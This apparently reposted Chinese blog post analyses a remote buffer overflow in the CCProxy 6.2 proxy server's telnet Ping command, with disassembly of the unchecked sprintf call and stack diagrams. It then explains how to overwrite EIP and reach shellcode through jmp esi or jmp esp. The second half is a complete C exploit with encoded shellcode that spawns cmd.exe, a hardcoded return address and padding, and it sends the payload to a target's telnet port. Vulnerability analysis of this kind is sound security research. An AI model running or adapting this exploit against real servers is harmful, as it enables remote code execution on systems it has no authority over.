CCProxy遠程緩衝區溢出分析 luoluo [[email protected]] CCProxy的緩衝區溢出攻擊代碼早已公佈,但是我並沒有能找到漏洞的相關說明,以下就對 這個簡單的緩衝區溢出漏洞作簡要分析。偶水平很菜,加上糟糕的文字,錯誤和不足處, 請各位指教,感激不盡。 測試環境:windows2003 + CCProxy 6.2 CCProxy是一款輕量級的代理服務器軟件,該服務器軟件提供了遠程telnet功能,telnet進 去後可以執行簡單的命令,其中的Ping(P)命令的參數如果提交過長的字符串的話,就會造 成緩衝區溢出,攻擊者可以利用這個漏洞在遠程主機上執行任意代碼。 該漏洞主要是由於在處理Ping命令的結果回顯數據時,使用sprintf函數格式化字符串,該 函數沒有邊界檢查,導致溢出從而可以改變程序流程執行任意代碼。 漏洞代碼: _text:00430300 sub_0_430300 proc near ; CODE XREF: sub_0_426B20+20p _text:00430300 _text:00430300 var_468 = dword ptr -468h _text:00430300 s = dword ptr -464h _text:00430300 var_458 = dword ptr -458h _text:00430300 var_454 = dword ptr -454h _text:00430300 var_450 = dword ptr -450h _text:00430300 var_44C = dword ptr -44Ch _text:00430300 var_448 = byte ptr -448h _text:00430300 var_438 = dword ptr -438h _text:00430300 in = in_addr ptr -434h _text:00430300 var_430 = dword ptr -430h _text:00430300 var_42C = byte ptr -42Ch _text:00430300 var_428 = byte ptr -428h _text:00430300 var_418 = byte ptr -418h _text:00430300 buf = byte ptr -414h _text:00430300 var_404 = byte ptr -404h _text:00430300 var_403 = byte ptr -403h _text:00430300 var_34 = dword ptr -34h _text:00430300 var_20 = dword ptr -20h _text:00430300 name = dword ptr -4 _text:00430300 arg_8 = dword ptr 0Ch _text:00430300 _text:00430300 sub esp, 430h _text:00430306 push ebx _text:00430307 push ebp _text:00430308 mov ebp, ecx _text:0043030A push esi _text:0043030B push edi _text:0043030C mov ecx, 100h _text:00430311 lea ebx, [ebp+8] _text:00430314 mov byte ptr [ebp+1008h], 0 _text:0043031B lea edi, [esp+440h+var_403] _text:0043031F push 1 ; protocol _text:00430321 mov byte ptr [ebx], 0 _text:00430324 mov al, byte_0_47B338 _text:00430329 mov [esp+444h+var_404], al _text:0043032D xor eax, eax _text:0043032F repe stosd // 緩衝區清空 400h = 1024,調試程 序時發現這裏的緩衝區起始位置比分配的位置後移了一個字節,不知道是什麼原因 _text:00430331 mov ecx, [esp+444h+arg_8] _text:00430338 push 3 ; type _text:0043033A push 2 ; af _text:0043033C mov [ebp+0], ecx _text:0043033F call ds:socket _text:00430345 cmp eax, 0FFFFFFFFh _text:00430348 mov [esp+44Ch+var_438], eax _text:0043034C jnz short loc_0_430367 _text:0043034E push offset aSocket ; "socket()" _text:00430353 mov ecx, ebp _text:00430355 call sub_0_430710 _text:0043035A pop edi _text:0043035B pop esi _text:0043035C pop ebp _text:0043035D pop ebx _text:0043035E add esp, 430h _text:00430364 retn 0Ch _text:00430367 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪? _text:00430367 _text:00430367 loc_0_430367: ; CODE XREF: sub_0_430300+4Cj _text:00430367 mov esi, [esp+44Ch+name] _text:0043036E push esi ; name _text:0043036F call ds:gethostbyname _text:00430375 test eax, eax _text:00430377 jnz short loc_0_4303DF _text:00430379 push esi // 第三個參數,Ping命令的參數 _text:0043037A lea edx, [esp+454h+buf] _text:0043037E push offset aHostNotFoundS ; "Host not found: %s/r/n" _text:00430383 push edx // 第一個參數,目標緩衝區 _text:00430384 call _sprintf // 調用sprintf函數 導致溢出 _text:00430389 lea edi, [esp+45Ch+buf] _text:0043038D or ecx, 0FFFFFFFFh _text:00430390 xor eax, eax _text:00430392 add esp, 0Ch _text:00430395 repne scasb _text:00430397 not ecx _text:00430399 sub edi, ecx _text:0043039B push eax ; flags _text:0043039C mov esi, edi _text:0043039E mov edx, ecx _text:004303A0 mov edi, ebx _text:004303A2 or ecx, 0FFFFFFFFh _text:004303A5 repne scasb _text:004303A7 mov ecx, edx _text:004303A9 dec edi _text:004303AA shr ecx, 2 _text:004303AD repe movsd _text:004303AF mov ecx, edx _text:004303B1 and ecx, 3 _text:004303B4 repe movsb _text:004303B6 lea edi, [esp+454h+buf] _text:004303BA or ecx, 0FFFFFFFFh _text:004303BD repne scasb _text:004303BF not ecx _text:004303C1 dec ecx _text:004303C2 lea eax, [esp+454h+buf] _text:004303C6 push ecx ; len _text:004303C7 mov ecx, [ebp+0] _text:004303CA push eax ; buf _text:004303CB push ecx ; s _text:004303CC call ds:send _text:004303D2 pop edi _text:004303D3 pop esi _text:004303D4 pop ebp _text:004303D5 pop ebx _text:004303D6 add esp, 430h _text:004303DC retn 0Ch _text:004303DF ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪? 調用sprintf前當前的堆棧的情況: +---------+---------+------------------------+------------+----------+---------+--------+ | esp | data | dst buffer of sprintf | 4 bytes | eip | data | ebp | +---------+---------+------------------------+------------+----------+---------+--------+ |<---- 1024 bytes --->| 格式化字符串的長度是16 bytes,只要我們Ping命令的主機名爲1016 bytes數據,就可以剛 好覆蓋eip,從而改變程序流程,在返回時,esi裏存放的地址正好落在一個存放主機名的 buffer拷貝里,可以搜尋系統裏的jmp esi的地址作爲返回地址來定位shellcode。 如果要用jmp esp來執行shellcode,則麻煩一些,因爲在漏洞程序部分使用主機名是一份拷貝, 在前面拷貝時,源緩衝區和目標緩衝相鄰,如果主機名大於1024 bytes,大於1024 bytes的部 分會被拷貝的部分填充,所以如果直接把shellcode跟在要用來覆蓋eip的地址後面不可行。 但是不是沒有辦法,因爲填充的內容就是源緩衝區的前1024 bytes,而拷貝的長度由源串的長 度決定,可以發送一個長度不小於1024+(len of shellcode)的主機名,並且shellcode填充在 主機名的最前面,這樣拷貝時shellcode會被拷貝到目標緩衝區的後面,就可以利用jmp esp來 定位shellcode。 圖Copy前: +-----+------+-----------+--------------+--------------+------+--------------+------ | esp | data | shellcode | filling data | addr jmp esp | nops | filling data | data ... +-----+------+-----------+--------------+--------------+------+--------------+------ |<-------- 1024 bytes source buffer --------->|<- start of dst buffer 圖Copy後: --+-----------+--------------+--------------+------+--------------+--------------+--------------+------+-----------+-- ..| shellcode | filling data | addr jmp esp | nops | shellcode | filling data | addr jmp esp | nops | shellcode |.. --+-----------+--------------+--------------+------+--------------+--------------+--------------+------+-----------+-- |<-------- 1024 bytes source buffer --------->|<---- start of dst buffer |<-- esp when ret |<---- hostname buff to be formatted by sprintf 附帶一個在win2003上利用jmp esp的簡單測試程序(非安全返回): //----------------------------------------------------------------- // A test script (jmp esp) for ccproxy 6.22 on win2k3 // and it only opens a cmd window for funny. :) // and it dosen't return safely, if the cmd window // was closed, an exception will be thrown out // and the application will exit. // // created by luoluo luoluo_at_hotmail.com //----------------------------------------------------------------- #include <stdio.h> #include <string.h> #include <windows.h> #include <winsock.h> #pragma comment(lib, "ws2_32") bool send_buff(char *, int); unsigned char shellcode[] = // decoder "/x8B/xC4/x83/xC0/x49/x80/x30/x99" "/x83/xC0/x29/x80/x30/x99/x83/xC0/x2E/x80/x30/x99" // system("cmd.exe") "/x55/x51/x52/x8B/xEC/x83/xEC/x20/x33/xC9" "/xC6/x45/xF5/x6D/xC6/x45/xF6/x73" "/xC6/x45/xF7/x76/xC6/x45/xF8/x63" "/xC6/x45/xF9/x72/xC6/x45/xFA/x74" "/xC6/x45/xFB/x2E/xC6/x45/xFC/x64" "/xC6/x45/xFD/x6C/xC6/x45/xFE/x6C" "/xC6/x45/xFF/x99/x8D/x45/xF5/x50" "/xB9/x0D/x85/xE1/x77/xFF/xD1/x8B/xD0" "/xC6/x45/xF5/x73/xC6/x45/xF6/x79" "/xC6/x45/xF7/x73/xC6/x45/xF8/x74" "/xC6/x45/xF9/x65/xC6/x45/xFA/x6D" "/xC6/x45/xFB/x99/x8D/x45/xF5/x50" "/x52/xB9/xFB/x2D/xE1/x77/xFF/xD1/x8B/xD0" "/xC6/x45/xF5/x63/xC6/x45/xF6/x6D" "/xC6/x45/xF7/x64/xC6/x45/xF8/x2E" "/xC6/x45/xF9/x65/xC6/x45/xFA/x78" "/xC6/x45/xFB/x65/xC6/x45/xFC/x99" "/x8D/x45/xF5/x50/xFF/xD2/x83/xC4" "/x04/x8B/xE5/x5A/x59/x5D"; unsigned char jmp_esp[] = "/x46/x7a/xe1/x77"; unsigned char padding[] = "/x90/x90/x90/x90" "/x90/x90/x90/x90"; void main() { char buff[2048]; int i; int filling_size; char buff2send[2048]; memset(buff, 0, 2048); strcpy(buff, "/x90/x90/x90/x90"); strcat(buff, (const char *)shellcode); filling_size = 1024 - 4 - strlen((const char *)shellcode) - strlen((const char *)padding) - 4; for (i = 0; i < filling_size; i ++) strcat(buff, "/x90"); strcat(buff, (const char *)jmp_esp); strcat(buff, (const char *)padding); for (i = 0; i < 400; i ++) strcat(buff, "/x90"); memset(buff2send, 0, 2048); sprintf(buff2send, "p %s/r/n", buff); //--------------------------------------------------- send_buff(buff2send, strlen(buff2send)); } bool send_buff(char *buffer, int buff_size) { WSADATA WSAData; SOCKET s; SOCKADDR_IN addr_in; char recv_buff[4096]; int bytes_recv = 0; int bytes_send = 0; //--------------------------------------------------- if (WSAStartup(MAKEWORD(2, 0), &WSAData) != 0) { printf("WSAStartup failed./n"); return false; } //---------------------------------------------------------- if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) { printf("socket error./n"); return false; } //----------------------------------------------------------- addr_in.sin_family = AF_INET; addr_in.sin_port = htons(23); addr_in.sin_addr.S_un.S_addr = inet_addr("192.168.1.2"); if (connect(s, (SOCKADDR *)&addr_in, sizeof(addr_in))) { printf("connect error./n"); return false; } //------------------------------------------------------ memset(recv_buff, 0, 4096); bytes_recv = recv(s, recv_buff, 4096, 0); if (bytes_recv == SOCKET_ERROR) { printf("recv error./n"); return false; } else if (! bytes_recv) { printf("connection closed./n"); return false; } printf("%d : %s/n", buff_size, recv_buff); //---------------------------------------------------------------- bytes_send = send(s, buffer, buff_size, 0); if (bytes_send == SOCKET_ERROR) { printf("send error./n"); return false; } printf("%d bytes has been sent : %S/n", buff_size, buffer); //------------------------------------------ closesocket(s); WSACleanup(); return true; } -----------------EOF-------------------
[轉自luoluo's blog]CCProxy遠程緩衝區溢出分析
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.